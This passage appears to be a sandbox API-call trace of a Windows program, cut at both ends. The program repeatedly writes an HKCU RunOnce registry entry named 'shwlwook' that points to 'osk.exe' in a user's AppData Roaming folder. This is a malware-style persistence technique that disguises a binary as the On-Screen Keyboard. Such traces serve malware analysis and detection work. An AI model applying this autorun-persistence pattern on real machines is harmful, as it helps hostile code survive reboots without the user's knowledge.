64 [0255.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.363] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.363] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.363] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.363] RegCloseKey (hKey=0x14c) returned 0x0 [0255.364] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.364] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.375] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.375] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.375] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.375] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.375] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240d10 | out: ppvObject=0x6240d10*=0x0) returned 0x80004002 [0255.376] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x19 [0255.376] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.376] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1a [0255.376] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624aab0) returned 0x0 [0255.376] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x19 [0255.376] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.376] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.376] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.376] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.377] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240d30 | out: ppvObject=0x6240d30*=0x0) returned 0x80004002 [0255.377] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1a [0255.377] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x19 [0255.377] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.377] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x19 [0255.377] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240d40) returned 0x0 [0255.378] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x18 [0255.378] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.379] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.379] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.379] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.379] RegCloseKey (hKey=0x14c) returned 0x0 [0255.379] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.380] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.390] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.390] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.391] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.391] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.391] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240d90 | out: ppvObject=0x6240d90*=0x0) returned 0x80004002 [0255.391] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1a [0255.391] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.391] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1b [0255.391] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624ab10) returned 0x0 [0255.392] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1a [0255.392] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.392] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.392] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.392] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.392] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240db0 | out: ppvObject=0x6240db0*=0x0) returned 0x80004002 [0255.392] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1b [0255.392] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1a [0255.392] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.393] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1a [0255.393] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240dc0) returned 0x0 [0255.394] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x19 [0255.394] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.394] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.394] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.395] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.395] RegCloseKey (hKey=0x14c) returned 0x0 [0255.395] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.395] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.407] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.407] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.407] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.407] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.407] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240e10 | out: ppvObject=0x6240e10*=0x0) returned 0x80004002 [0255.407] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1b [0255.407] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.408] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1c [0255.408] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624ab70) returned 0x0 [0255.408] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1b [0255.408] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.408] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.408] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.408] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.408] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240e30 | out: ppvObject=0x6240e30*=0x0) returned 0x80004002 [0255.408] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1c [0255.408] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1b [0255.409] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.409] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1b [0255.409] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240e40) returned 0x0 [0255.410] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1a [0255.410] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 